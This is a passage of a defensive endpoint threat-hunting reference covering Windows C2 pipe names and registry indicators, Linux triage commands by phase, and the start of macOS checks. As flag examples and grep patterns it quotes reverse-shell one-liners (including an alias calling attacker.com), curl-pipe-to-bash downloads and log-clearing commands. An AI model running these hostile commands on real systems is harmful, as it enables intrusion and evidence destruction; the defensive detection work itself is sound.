- `\\.\pipe\postex_*` (post-exploitation)
- `\\.\pipe\status_*`
- `\\.\pipe\isapi_http`
- `\\.\pipe\isapi_dg`
- `\\.\pipe\ntsvcs` (older Cobalt Strike)

**Other C2 framework defaults:**
- `\\.\pipe\mojo.*` - Chrome uses this legitimately; malware also uses it for mimicry
- `\\.\pipe\583da4ce*` - Cobalt Strike variant
- Any pipe with `gimmick` in the name - GIMMICK malware

**What to do:** Run process handle analysis to find which process owns the pipe:
```powershell
handle.exe -a -p <pid> | findstr pipe
# Or with Sysinternals:
pipelist.exe
```

---

### AppInit_DLLs Set (DLL Injection)
**Severity:** Critical  
**Pattern:**
```
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = "C:\path\to\evil.dll"
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs = 1
```

**Why malicious:** `AppInit_DLLs` injects specified DLL into EVERY process loading `user32.dll` (essentially every GUI app). Code execution in every running process. Legit software essentially never uses this on modern Windows.

---

### BITS Job with Suspicious URL
**Severity:** High  
**Pattern:** BITS transfer job where `RemoteUrl` is:
- URL path looking like script or executable
- URL to dynamic DNS provider
- URL to cloud storage for unrecognizable file

**Why relevant:** BITS jobs run as background Windows service, survive reboots if suspended, use Windows Update infrastructure - appear less suspicious in network analysis.

---

## Ambiguous Indicators - Require Context

NOT automatic IOCs. Need context to assess:

### netcat (nc / ncat)
- **Legit:** Network testing, sysadmin connectivity checks, data transfer
- **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener)
- **Verdict:** Flag if found with `-e /bin/bash`, `-e cmd.exe`, or listening on unexpected ports

### python -c / perl -e / ruby -e
- **Legit:** Quick scripting, one-liners for data processing
- **Malicious:** Complex socket code, subprocess/os with shell=True, reverse shell payloads
- **Verdict:** Flag if one-liner contains `socket`, `subprocess`, `exec`, `/dev/tcp`, or network code

### Base64 in URLs or Arguments
- **Legit:** Many legit apps use base64 for data encoding (JWT, API params)
- **Malicious:** Encoded payloads in PowerShell `-enc`, encoded URLs in curl/wget
- **Verdict:** Flag if base64 in `-enc` arg to PowerShell, or decodes to shellcode/script

### Outbound Connections on Port 443 to Cloud Providers
- **Legit:** Vast majority of HTTPS is legit
- **Malicious:** Domain fronting, C2 over HTTPS to Azure/AWS/Cloudflare-hosted C2
- **Verdict:** Flag ONLY when process is unusual (`bash`, `python`, `cmd.exe`). Normal browser/app HTTPS = not IOC.

### Python/Ruby/Node Interpreters Running
- **Legit:** Devs run these constantly; some system tools use them
- **Malicious:** Running from temp dirs, with network connections, as daemons
- **Verdict:** Check the script being executed, not just the interpreter

### sshd Port Forwarding
- **Legit:** Remote tunneling for sysadmin
- **Malicious:** Port forwarding to expose internal services to external attackers
- **Verdict:** Check `sshd_config` for `AllowTcpForwarding yes` (flag if unexpected), check for active tunnels in `ss`

---

## Severity Escalation Rules

Multiple indicators together → escalate severity:

1. **Process in /tmp** (High) + **network connection** (High) + **deleted binary** (Critical) = **CRITICAL - likely active compromise**

2. **LaunchAgent with script path** (High) + **script contains curl|bash** (Critical) = **CRITICAL - active persistence**

3. **New user account** (Medium) + **added to sudo group** (High) + **created outside business hours** (Low-Medium) = **HIGH - unauthorized account creation**

4. **WMI subscription** (Critical) + **PS history with encoded commands** (Critical) = **CRITICAL - APT-level persistence**

5. **EDR not running** (High) + **any other finding** = **Escalate all findings one level** - attacker may have disabled defenses first

6. **Log files cleared** (High) + **any other finding** = **Escalate** - attacker covering tracks, aware of detection

## references/linux-checks.md

# Linux Endpoint Threat Hunt - Command Reference

> T1 = no elevated privs | T2 = sudo/root required

---

## Contents

- [Phase 1: Process Activity](#phase-1-process-activity)
  - [1.1 - Process Tree (Full)](#11--process-tree-full)
  - [1.2 - Process Executable Paths from /proc](#12--process-executable-paths-from-proc)
  - [1.3 - Processes with Deleted Executables](#13--processes-with-deleted-executables)
  - [1.4 - Memory Maps of Suspicious Process](#14--memory-maps-of-suspicious-process)
  - [1.5 - Open File Descriptors](#15--open-file-descriptors)
- [Phase 2: Network Activity](#phase-2-network-activity)
  - [2.1 - All Connections and Listeners](#21--all-connections-and-listeners)
  - [2.2 - DNS Configuration](#22--dns-configuration)
  - [2.3 - Hosts File](#23--hosts-file)
  - [2.4 - Raw Network Connections via /proc](#24--raw-network-connections-via-proc)
- [Phase 3: Persistence Mechanisms](#phase-3-persistence-mechanisms)
  - [3.1 - Cron (All Methods)](#31--cron-all-methods)
  - [3.2 - Systemd Services and Timers](#32--systemd-services-and-timers)
  - [3.3 - Shell Profile Injection](#33--shell-profile-injection)
  - [3.4 - SSH Authorized Keys](#34--ssh-authorized-keys)
  - [3.5 - RC Scripts and Init.d](#35--rc-scripts-and-initd)
- [Phase 4: File Activity](#phase-4-file-activity)
  - [4.1 - Files in World-Writable Directories](#41--files-in-world-writable-directories)
  - [4.2 - SUID/SGID Binaries](#42--suidsgid-binaries)
  - [4.3 - Recently Modified Configuration Files](#43--recently-modified-configuration-files)
  - [4.4 - Scripts in Suspicious Locations](#44--scripts-in-suspicious-locations)
- [Phase 5: User & Account Activity](#phase-5-user--account-activity)
  - [5.1 - Users with Shells (Login-Capable)](#51--users-with-shells-login-capable)
  - [5.2 - Privileged Group Membership](#52--privileged-group-membership)
  - [5.3 - Login History](#53--login-history)
  - [5.4 - T2: Authentication and Auth Logs](#54--t2-authentication-and-auth-logs)
- [Phase 6: Driver/Module Activity](#phase-6-drivermodule-activity)
  - [6.1 - Loaded Kernel Modules](#61--loaded-kernel-modules)
  - [6.2 - T2: Module Load Events](#62--t2-module-load-events)
  - [6.3 - T2: eBPF Programs](#63--t2-ebpf-programs)
- [Phase 7: Script & Command Execution](#phase-7-script--command-execution)
  - [7.1 - Shell History](#71--shell-history)
  - [7.2 - Script Artifacts](#72--script-artifacts)
  - [7.3 - Encoded Commands in History](#73--encoded-commands-in-history)
- [Phase 8: EDR/Security Tool Status](#phase-8-edrsecurity-tool-status)
  - [8.1 - Security Agent Process Check](#81--security-agent-process-check)
  - [8.2 - Auditd Status](#82--auditd-status)
  - [8.3 - System Logging Status](#83--system-logging-status)
- [Quick Reference: Linux IOC Severity Ratings](#quick-reference-linux-ioc-severity-ratings)

---

## Phase 1: Process Activity


---

### 1.1 - Process Tree (Full)
**Tier:** T1  

```bash
ps auxf
```

**Flag:**
- Web server (`apache2`, `nginx`, `httpd`) spawning shells/interpreters - web shell exploitation
- `bash`/`sh` spawned under unexpected parents
- Processes running from `/tmp`, `/dev/shm`, `/var/tmp`, `/run/user/*/`
- Process names with leading spaces or special chars (hiding in `ps`)
- Long cmdlines with base64 content
- Paths like `/proc/self/fd/3` (fileless execution)
- Interpreter (`python`, `perl`, `ruby`, `php`) with `-c`/`-e` flags in production

**False+:**
- `(sd-pam)` - systemd PAM sessions, normal
- Multiple `worker` processes under web servers - legit process model
- Container runtimes (`containerd-shim`, `runc`) spawning - legit in containerized envs

---

### 1.2 - Process Executable Paths from /proc
**Tier:** T1 (own processes) / T2 (all processes)  

```bash
# List all process executable paths (T1 shows only accessible ones)
ls -la /proc/*/exe 2>/dev/null | grep -v "Permission denied"

# More portable version
for pid in /proc/[0-9]*; do
  exe=$(readlink "$pid/exe" 2>/dev/null)
  [ -n "$exe" ] && echo "$(basename $pid): $exe"
done 2>/dev/null | sort -t: -k2
```

**Flag:**
- Paths with `(deleted)` - process running from deleted binary
- Paths in `/tmp`, `/var/tmp`, `/dev/shm`
- Paths in `/dev/` (non-device paths in /dev = highly suspicious)
- Very long, encoded, or unusual-char paths

---

### 1.3 - Processes with Deleted Executables
**Tier:** T1 (partial) / T2 (full)  

```bash
# Method 1: lsof
lsof +L1 2>/dev/null

# Method 2: find via /proc
find /proc/*/exe -ls 2>/dev/null | grep ' (deleted)'

# Method 3: direct check
ls -la /proc/*/exe 2>/dev/null | grep deleted
```

**Flag:**
- Any process with deleted executable - major red flag on Linux
- Deletion typically done immediately post-launch to hinder forensics
- Note PID + original path (pre-deletion) for investigation

---

### 1.4 - Memory Maps of Suspicious Process
**Tier:** T1 (own processes) / T2 (any process)  

```bash
cat /proc/<PID>/maps 2>/dev/null | head -50
```

**Flag:**
- `rwx` memory regions (read + write + execute) - classic shellcode injection
- Memory regions with unexpected shared library paths
- Large anonymous (`anon`) executable memory regions
- Memory regions mapped from `/tmp` or `/dev/shm`

---

### 1.5 - Open File Descriptors
**Tier:** T1 (own) / T2 (all)  

```bash
# For a specific PID
ls -la /proc/<PID>/fd 2>/dev/null

# Or using lsof
lsof -p <PID> 2>/dev/null
```

---

## Phase 2: Network Activity


---

### 2.1 - All Connections and Listeners
**Tier:** T1 (limited process info) / T2 (full process details)  

```bash
# Socket statistics (modern replacement for netstat)
ss -tulpn

# Established connections
ss -tupn state established

# All connections (all states)
ss -anp 2>/dev/null

# Legacy netstat (if ss not available)
netstat -anp 2>/dev/null
```

**Note:** Without T2/root, `ss -tulpn` shows sockets but may not show process name for other users' sockets.

**Flag:**
- Services listening on `0.0.0.0` that shouldn't be externally accessible
- `LISTEN` on high ports (>1024) with unusual process names
- `ESTABLISHED` from processes with no business making external connections (cron, system utils)
- Multiple connections to same external IP on high ports - C2 beaconing
- Unusual processes connecting to port 443 - HTTPS-mimicking C2

---

### 2.2 - DNS Configuration
**Tier:** T1  

```bash
cat /etc/resolv.conf
```

**Flag:**
- `nameserver` not your expected DNS servers (router, ISP, 8.8.8.8, 1.1.1.1)
- `127.0.0.1` as nameserver with unexpected local DNS service - DNS hijacking/DoH proxy
- `search` domain set to unexpected domain - DNS search manipulation
- Check mtime: `ls -la /etc/resolv.conf`

---

### 2.3 - Hosts File
**Tier:** T1  

```bash
cat /etc/hosts
```

**Flag:**
- Redirects of legit domains
- Security/update domains redirected to localhost or invalid - security tool disruption
- Check mtime: `ls -la /etc/hosts`

---

### 2.4 - Raw Network Connections via /proc
**Tier:** T1  

```bash
# TCP connections
cat /proc/net/tcp 2>/dev/null | head -30

# TCP6
cat /proc/net/tcp6 2>/dev/null | head -30

# UDP
cat /proc/net/udp 2>/dev/null | head -20
```

**Note:** `/proc/net/tcp` format uses hex-encoded IPs + ports. IP = little-endian hex. Decode: `0100007F` = `127.0.0.1` (reversed). Port: `1F90` = decimal 8080. Useful when `ss`/`netstat` unavailable or compromised.

---

## Phase 3: Persistence Mechanisms


---

### 3.1 - Cron (All Methods)
**Tier:** T1 (user cron) / T2 (root + system cron)  

```bash
# Current user's crontab
crontab -l 2>/dev/null

# Root crontab (T2)
sudo crontab -l 2>/dev/null

# System-wide crontab
cat /etc/crontab 2>/dev/null

# cron drop-in directories
ls -la /etc/cron.d/ 2>/dev/null
ls -la /etc/cron.daily/ 2>/dev/null
ls -la /etc/cron.hourly/ 2>/dev/null
ls -la /etc/cron.weekly/ 2>/dev/null
ls -la /etc/cron.monthly/ 2>/dev/null

# All users' crontabs (T2)
for user in $(cut -d: -f1 /etc/passwd); do
  cron=$(sudo crontab -l -u "$user" 2>/dev/null)
  if [ -n "$cron" ]; then
    echo "=== Crontab for $user ==="; echo "$cron"
  fi
done
```

**Flag:**
- Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`
- Scripts in `/tmp`, `/dev/shm`, home dirs running frequently
- `@reboot` entries running unknown scripts
- Very frequent schedules (`* * * * *`) on unknown scripts
- Output redirected to `/dev/null` to hide errors
- Check mtime of cron files: `ls -la /etc/cron*`

---

### 3.2 - Systemd Services and Timers
**Tier:** T1  

```bash
# Running services
systemctl list-units --type=service --state=running 2>/dev/null

# All enabled services (will auto-start)
systemctl list-unit-files --type=service --state=enabled 2>/dev/null

# Systemd timers (scheduled tasks equivalent)
systemctl list-timers --all 2>/dev/null

# Recently modified service files
find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system -name "*.service" -newer /etc/passwd 2>/dev/null

# Inspect a specific suspicious service
systemctl cat <suspicious-service-name> 2>/dev/null
```

**Flag:**
- `ExecStart` pointing to `/tmp`, `/dev/shm`, home dirs, or unusual paths
- Services in `/etc/systemd/system/` (user-installed) vs `/lib/systemd/system/` (package-managed)
- Root-running services with no associated package
- Service names mimicking legit services with subtle differences (`systemd-networkd-updater` vs `systemd-networkd`)
- `Restart=always` (watchdog pattern)
- Timers executing from unusual locations frequently

---

### 3.3 - Shell Profile Injection
**Tier:** T1  

```bash
# User shell profiles
cat ~/.bashrc 2>/dev/null
cat ~/.bash_profile 2>/dev/null
cat ~/.profile 2>/dev/null
cat ~/.zshrc 2>/dev/null
cat ~/.zprofile 2>/dev/null

# System-wide profiles
cat /etc/bashrc 2>/dev/null
cat /etc/bash.bashrc 2>/dev/null
cat /etc/profile 2>/dev/null

# System profile drop-ins
ls -la /etc/profile.d/ 2>/dev/null
cat /etc/profile.d/*.sh 2>/dev/null
```

**Flag:**
- `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)
- Functions wrapping/replacing system commands
- Unknown script or binary execution on init
- `export PATH=...` prepending unusual dirs (PATH hijacking)
- `curl`/`wget` calls on shell init
- Base64 decode + execute on init

---

### 3.4 - SSH Authorized Keys
**Tier:** T1 (own) / T2 (all users)  

```bash
# Current user
cat ~/.ssh/authorized_keys 2>/dev/null

# All users (T2)
find /home -name "authorized_keys" 2>/dev/null -exec echo "=== {} ===" \; -exec cat {} \;
cat /root/.ssh/authorized_keys 2>/dev/null
```

**Flag:**
- Unrecognized SSH public keys
- `command="..."` option (forced command - payload runs every SSH auth), IP `from=""` restrictions
- Multiple keys where one expected, or keys on accounts that shouldn't have SSH

---

### 3.5 - RC Scripts and Init.d
**Tier:** T1  

```bash
ls -la /etc/init.d/ 2>/dev/null
cat /etc/rc.local 2>/dev/null
ls -la /etc/rc.d/ 2>/dev/null
ls -la /etc/rc*.d/ 2>/dev/null
```

**Flag:**
- Init scripts not associated with installed packages
- `/etc/rc.local` containing unknown script commands
- Recently modified scripts (check mtime)

---

## Phase 4: File Activity


---

### 4.1 - Files in World-Writable Directories
**Tier:** T1  

```bash
# All files in world-writable temp dirs (common malware staging areas)
find /tmp /var/tmp /dev/shm -type f 2>/dev/null

# Executables specifically
find /tmp /var/tmp /dev/shm -perm /111 -type f 2>/dev/null

# In /dev (non-device files in /dev are highly suspicious)
find /dev -type f 2>/dev/null | grep -v " 0 "
```

**Flag:**
- ANY executable in `/dev/shm` - memory-backed, malware runs entirely in-memory without disk
- Executables in `/tmp` or `/var/tmp` - dropper staging area
- Files mimicking system tools (`ls`, `ps`, `netstat`) in these dirs - possible rootkit components
- Files in `/dev` that are not block/char devices - `find /dev -type f` should return very few normally

---

### 4.2 - SUID/SGID Binaries
**Tier:** T1  

```bash
# All SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort

# All SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort

# World-writable files (outside of temp dirs)
find /etc /usr /bin /sbin -perm -o+w -type f 2>/dev/null 2>/dev/null
```

**Flag:**
- SUID binaries NOT in standard list: `/bin/su`, `/bin/ping`, `/usr/bin/passwd`, `/usr/bin/sudo`, `/usr/bin/newgrp`, etc.
- SUID in unusual locations (`/tmp`, home dirs, web roots)
- SUID `bash` or SUID `python` - instant privesc
- Recently modified SUID binaries (compare to pkg manager timestamps)

---

### 4.3 - Recently Modified Configuration Files
**Tier:** T1  

```bash
# Files in /etc modified in last 3 days
find /etc -newer /etc/passwd -type f 2>/dev/null | head -30

# Recently modified files in common malware target dirs
find /usr/bin /usr/sbin /bin /sbin -newer /etc/passwd -type f 2>/dev/null

# Check specific high-value files for modification time
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/crontab /etc/hosts /etc/resolv.conf /etc/ssh/sshd_config
```

**Flag:**
- `/etc/passwd` recently modified - new account added
- `/etc/shadow` recently modified - password changed
- `/etc/sudoers` recently modified - sudo privilege added
- System binaries in `/bin` or `/usr/bin` with recent mtime - trojanized tools (rootkit indicator)

---

### 4.4 - Scripts in Suspicious Locations
**Tier:** T1  

```bash
find /tmp /var/tmp /dev/shm -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" 2>/dev/null
find /home -maxdepth 3 -name "*.sh" -perm /111 2>/dev/null | head -20
find /var/www -name "*.php" -newer /etc/passwd 2>/dev/null | head -20  # Web shell check
```

**Flag:**
- Executable shell scripts in temp dirs
- PHP/ASP files in web dirs recently modified - web shell backdoor
- Python/Perl one-liner scripts in suspicious locations

---

## Phase 5: User & Account Activity


---

### 5.1 - Users with Shells (Login-Capable)
**Tier:** T1  

```bash
# Users that can log in (have a real shell, excluding nologin/false)
cat /etc/passwd | grep -vE "(/nologin|/false|/sync)$" | cut -d: -f1,3,6,7

# Recent changes to /etc/passwd
ls -la /etc/passwd
```

**Flag:**
- User with UID 0 not named `root`
- Home dirs in unusual locations (`/tmp`, `/var/www`)
- Accounts mimicking system accounts (`apache2`, `www-data`, `systemd-net`) but different UIDs
- `/bin/bash` shell on accounts that aren't human users

---

### 5.2 - Privileged Group Membership
**Tier:** T1  

```bash
# Check who is in privileged groups
getent group sudo 2>/dev/null
getent group wheel 2>/dev/null
getent group adm 2>/dev/null
getent group root 2>/dev/null

# Users with sudo access (T2)
sudo cat /etc/sudoers 2>/dev/null
sudo ls /etc/sudoers.d/ 2>/dev/null
```

**Flag:**
- Unexpected accounts in `sudo` or `wheel` group
- `ALL=(ALL:ALL) NOPASSWD:ALL` for unexpected accounts - passwordless sudo
- Recently added `/etc/sudoers.d/` files

---

### 5.3 - Login History
**Tier:** T1  

```bash
# Last 30 logins
last -20 2>/dev/null

# Last login per user
lastlog 2>/dev/null | grep -v "Never logged in"

# Current sessions
who
w
```

**Flag:**
- SSH logins from unexpected IPs
- Root login via SSH (if `PermitRootLogin no` expected)
- Logins at unusual hours
- Multiple failed attempts followed by success: check `/var/log/auth.log` or `/var/log/secure`

---

### 5.4 - T2: Authentication and Auth Logs
**Tier:** T2 (sudo required)  

```bash
# Debian/Ubuntu
sudo tail -100 /var/log/auth.log 2>/dev/null | grep -E "Failed|Invalid|Accepted|sudo"

# RHEL/CentOS/Fedora
sudo tail -100 /var/log/secure 2>/dev/null | grep -E "Failed|Invalid|Accepted|sudo"

# systemd journal
sudo journalctl -u sshd --since "24 hours ago" --no-pager 2>/dev/null | tail -50
sudo journalctl -u sudo --since "24 hours ago" --no-pager 2>/dev/null | tail -30
```

**Flag:**
- Many `Failed password` from same IP - brute force
- `Invalid user` attempts - username enumeration
- Accepted auth from unexpected IPs
- `sudo` usage from accounts that shouldn't use sudo

---

## Phase 6: Driver/Module Activity


---

### 6.1 - Loaded Kernel Modules
**Tier:** T1  

```bash
lsmod
```

**Flag:**
- Modules not in expected list for distro + kernel version
- Random-string names or legit module names with typos
- Module count anomaly - baseline is ~50-150 modules

**Common legit categories:** `bluetooth`, `usb`, `ext4`, `xfs`, `btrfs`, `tcp`, `ip`, `iptable`, `nf_`, `nvidia`, `amdgpu`, `vboxsf`, `vmw_`

---

### 6.2 - T2: Module Load Events
**Tier:** T2 (sudo required)  

```bash
# Recent module loading from dmesg
sudo dmesg | tail -300 | grep -E "insmod|rmmod|module|loaded|unloaded" 2>/dev/null

# Journal for module events
sudo journalctl -k --since "24 hours ago" --no-pager 2>/dev/null | grep -iE "module|insmod|rmmod" | head -30

# Check for recently modified kernel modules
find /lib/modules/$(uname -r) -name "*.ko" -newer /etc/passwd 2>/dev/null
```

**Flag:**
- Modules loaded from outside `/lib/modules/<kernel-version>/`
- Module unload immediately followed by load - module replacement
- Modules loaded at unusual times (3 AM, around suspicious activity)

---

### 6.3 - T2: eBPF Programs
**Tier:** T2 (sudo required)  

```bash
sudo bpftool prog list 2>/dev/null
sudo bpftool map list 2>/dev/null
```

**Flag:**
- eBPF programs not from known security/monitoring tools (`falco`, `datadog-agent`, `elastic-agent`, `cilium`, `tetragon`)
- `kprobe`/`kretprobe` from unknown processes - possible cred harvesting or network interception
- Program names suggesting rootkit behavior

---

## Phase 7: Script & Command Execution


---

### 7.1 - Shell History
**Tier:** T1  

```bash
# Bash history
cat ~/.bash_history 2>/dev/null | tail -150

# zsh history
cat ~/.zsh_history 2>/dev/null | tail -150

# Fish history
cat ~/.local/share/fish/fish_history 2>/dev/null | tail -100

# Check for cleared history (suspicious)
ls -la ~/.bash_history ~/.zsh_history 2>/dev/null
wc -l ~/.bash_history 2>/dev/null
```

**Flag:**
- Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`
- Base64 decode + execute: `echo "..." | base64 -d | bash`
- Python/Perl one-liners: `python -c "import socket,subprocess,os;..."` - classic reverse shell
- `chmod +x` then execution of freshly created file
- `nohup`, `disown`, `&` - backgrounding to persist post-session
- History very small or missing - cleared by attacker
- `rm -rf /var/log`, `echo "" > /var/log/auth.log` - log clearing

---

### 7.2 - Script Artifacts
**Tier:** T1  

```bash
# Scripts in temp dirs
find /tmp /var/tmp /dev/shm -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" 2>/dev/null

# Inspect content of any found scripts
# (view only - do not execute)
```

---

### 7.3 - Encoded Commands in History
**Tier:** T1  

```bash
grep -E "(base64|python.*decode|perl.*unpack|eval\(|exec\()" ~/.bash_history 2>/dev/null
grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null
grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null
grep -E "chmod\s+[0-9]*\s+/tmp|chmod\s+\+x\s+/tmp" ~/.bash_history 2>/dev/null
```

---

## Phase 8: EDR/Security Tool Status


---

### 8.1 - Security Agent Process Check
**Tier:** T1  

```bash
ps aux | grep -iE "falcon|sentinelagent|elastic|mdatp|wdavdaemon|cbagentd|cylance|eset|sophos|malwarebytes|osquery|wazuh|ossec|auditd"
```

---

### 8.2 - Auditd Status
**Tier:** T1 / T2  

```bash
# Is auditd running?
systemctl status auditd 2>/dev/null

# What rules are configured? (T2)
sudo auditctl -l 2>/dev/null

# Recent audit events (T2)
sudo ausearch -ts recent 2>/dev/null | tail -50
```

**Flag:**
- Auditd NOT running on production server - no process execution logging, no syscall auditing
- Auditd rules empty (no rules = no auditing)
- Auditd stopped recently

---

### 8.3 - System Logging Status
**Tier:** T1  

```bash
# Is rsyslog/syslog running?
systemctl status rsyslog syslog 2>/dev/null | head -10

# Check systemd journal integrity
journalctl --verify 2>/dev/null | tail -5

# Check for recently cleared logs
ls -la /var/log/
ls -la /var/log/auth.log /var/log/syslog /var/log/messages 2>/dev/null
```

**Flag:**
- Log files empty (0 bytes) - possibly cleared by attacker
- Log files with mtime close to current time - actively being cleared
- Log rotation at unusual time
- Missing log files that should exist

---

## Quick Reference: Linux IOC Severity Ratings

| IOC | Severity | Notes |
|-----|----------|-------|
| File in `/dev/shm` | Critical | Memory-resident malware staging - almost always malicious |
| Process with deleted binary | Critical | `lsof +L1` hit - classic evasion technique |
| Executable in `/tmp` running as root | Critical | Severe indicator |
| Shell spawned from web server process | Critical | Web shell exploitation confirmed |
| Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer |
| SUID binary outside standard paths | High | Potential privilege escalation tool |
| `/etc/passwd` modified recently | High | Unauthorized account creation |
| Unauthorized `authorized_keys` entry | High | SSH backdoor |
| Systemd service pointing to `/tmp` | High | Persistent malware |
| eBPF program from unknown process | High | Potential kernel-level spy/rootkit |
| Profile file (`~/.bashrc`) modified | High | Persistence via shell initialization |
| `auditd` not running | Medium | Detection capability missing - investigate why |
| Unusual ESTABLISHED connections | Medium | Investigate the owning process |
| New sudo user added | Medium | Could be legitimate IT action or escalation |
| Log file is empty/cleared | High | Evidence of attacker covering tracks |

## references/macos-checks.md

# macOS Endpoint Threat Hunt - Command Reference

> T1 = no elevated privs | T2 = sudo/admin required

---

## Contents

- [Phase 1: Process Activity](#phase-1-process-activity)
  - [1.1 - Full Process Listing with Paths](#11--full-process-listing-with-paths)
  - [1.2 - Processes with Unlinked (Deleted) Executables](#12--processes-with-unlinked-deleted-executables)
  - [1.3 - Open Files and Network Connections for Suspicious Process](#13--open-files-and-network-connections-for-suspicious-process)
  - [1.4 - Parent Process Relationships](#14--parent-process-relationships)
  - [1.5 - Activity Monitor CLI Snapshot](#15--activity-monitor-cli-snapshot)
- [Phase 2: Network Activity](#phase-2-network-activity)
  - [2.1 - All Network Connections with Owning Processes](#21--all-network-connections-with-owning-processes)
  - [2.2 - Listening Ports](#22--listening-ports)
  - [2.3 - DNS Configuration](#23--dns-configuration)
  - [2.4 - Hosts File](#24--hosts-file)
  - [2.5 - Network Connections (Summarized by Process)](#25--network-connections-summarized-by-process)
- [Phase 3: Persistence Mechanisms](#phase-3-persistence-mechanisms)
  - [3.1 - LaunchAgents and LaunchDaemons (Primary macOS Persistence)](#31--launchagents-and-launchdaemons-primary-macos-persistence)
  - [3.2 - Crontab](#32--crontab)
  - [3.3 - Login Items (macOS 13+ Background Task Management)](#33--login-items-macos-13-background-task-management)
  - [3.4 - Configuration Profiles (MDM/Malicious Profiles)](#34--configuration-profiles-mdmmalicious-profiles)
- [Phase 4: File Activity](#phase-4-file-activity)
  - [4.1 - Files in Temp Directories](#41--files-in-temp-directories)
  - [4.2 - Scripts in Library Directories](#42--scripts-in-library-directories)
  - [4.3 - Recently Installed Applications](#43--recently-installed-applications)
  - [4.4 - Code Signing Verification for Suspicious Files](#44--code-signing-verification-for-suspicious-files)
- [Phase 5: User & Account Activity](#phase-5-user--account-activity)
  - [5.1 - Local User Accounts](#51--local-user-accounts)
  - [5.2 - Login History](#52--login-history)
  - [5.3 - SSH Configuration and Authorized Keys](#53--ssh-configuration-and-authorized-keys)
  - [5.4 - T2: Authentication Logs](#54--t2-authentication-logs)
- [Phase 6: Driver/Module Activity](#phase-6-drivermodule-activity)
  - [6.1 - System Extensions (macOS 10.15+)](#61--system-extensions-macos-1015)
  - [6.2 - Kernel Extensions (Legacy, Still Active)](#62--kernel-extensions-legacy-still-active)
- [Phase 7: Script & Command Execution](#phase-7-script--command-execution)
  - [7.1 - Shell History](#71--shell-history)
  - [7.2 - Application Script Artifacts](#72--application-script-artifacts)
  - [7.3 - T2: XProtect and MRT Logs](#73--t2-xprotect-and-mrt-logs)
- [Phase 8: EDR/Security Tool Status](#phase-8-edrsecurity-tool-status)
  - [8.1 - Detect Running Security Agents](#81--detect-running-security-agents)
  - [8.2 - macOS Built-in Security Status](#82--macos-built-in-security-status)
  - [8.3 - T2: TCC Privacy Database](#83--t2-tcc-privacy-database)
- [Quick Reference: macOS IOC Severity Ratings](#quick-reference-macos-ioc-severity-ratings)

---

## Phase 1: Process Activity


---

### 1.1 - Full Process Listing with Paths
**Tier:** T1  

```bash
ps auxww
```

**Flag:**
- Root processes that shouldn't be (`bash`, `python`, `nc`)
- `COMMAND` paths in `/tmp`, `/var/folders`, `~/Library/Application Support`, or no dir (running from cwd)
- Long cmdlines with base64 arguments
- Daemon names with subtle misspellings (`launchdaemon` vs `launchd`, etc.)
- Processes with `(deleted)` in path
- Args containing IPs, ports, or encoded strings

**False+:**
- Electron apps (`Slack`, `VSCode`, `Discord`) - many helpers from `.app/Contents/Frameworks/` - legit
- Homebrew: `/usr/local/bin` or `/opt/homebrew/bin` - legit
- JetBrains IDEs - many JVM processes - legit

---

### 1.2 - Processes with Unlinked (Deleted) Executables
**Tier:** T1  

```bash
lsof +L1 2>/dev/null
```

**Flag:**
- Any entry where `NLINK` is `0` - binary deleted from disk while still running
- Classic technique: malware drops, executes, deletes to hinder recovery
- `NAME` column shows original path + `(deleted)` or link count

**False+:**
- Rare on macOS - almost always significant
- Some updaters briefly during self-update
- Ephemeral sandbox processes may show briefly

---

### 1.3 - Open Files and Network Connections for Suspicious Process
**Tier:** T1  

```bash
lsof -p <PID> 2>/dev/null
```

Replace `<PID>` with the PID of a suspicious process from the `ps` output.

**Flag:**
- `inet` entries: outbound connections from process with no business having network access
- `REG` entries: files read/written from unusual locations
- `PIPE` entries: named pipe connections (IPC - possible process injection)
- `mem` entries showing shared libs from unusual paths

---

### 1.4 - Parent Process Relationships
**Tier:** T1  

```bash
ps -eo pid,ppid,user,comm,args | head -80
```

**Flag:**
- Unusual process with `launchd` as parent - may have registered as LaunchAgent/Daemon
- `bash`/`zsh` spawning `nc`, `python -c`, `perl -e`
- Web browser spawning shells (exploitation indicator)
- Office apps spawning scripting interpreters
- `osascript` spawning shell commands

**Cross-ref:** For suspicious parent-child pairs, check for LaunchAgent/Daemon plist explaining relationship (Phase 3).

---

### 1.5 - Activity Monitor CLI Snapshot
**Tier:** T1  

```bash
ps -eo pid,ppid,%cpu,%mem,etime,user,comm | sort -k3 -nr | head -30
```

**Flag:**
- High CPU/memory processes not well-known apps
- Very long `etime` unknown processes - persistent background
- Anomalous CPU = miners or compute-intensive malware

---

## Phase 2: Network Activity


---

### 2.1 - All Network Connections with Owning Processes
**Tier:** T1  

```bash
lsof -i -n -P 2>/dev/null
```

**Flag:**
- `LISTEN` on non-standard ports (not 80/443/22/3306/5432/known app ports) - investigate
- `ESTABLISHED` from system utilities, `bash`, `python` - shouldn't have network access
- RFC1918 connections on non-standard ports - lateral movement indicator
- High ports (>10000) to unfamiliar IPs - C2 beacon pattern
- Process with multiple simultaneous connections to different IPs

**False+:**
- iCloud, Photos, Music, App Store - many Apple CDN connections (17.x.x.x)
- Dropbox, Google Drive, OneDrive - persistent sync
- Browser processes - many legit connections

---

### 2.2 - Listening Ports
**Tier:** T1  

```bash
netstat -an | grep LISTEN
```

**Flag:**
- Listening on `0.0.0.0` or `*` unexpectedly - accessible from network
- Unexpected services on localhost (127.0.0.1) - possible C2 proxy or staging
- Persistent high-numbered ephemeral ports

---

### 2.3 - DNS Configuration
**Tier:** T1  

```bash
scutil --dns
```

**Flag:**
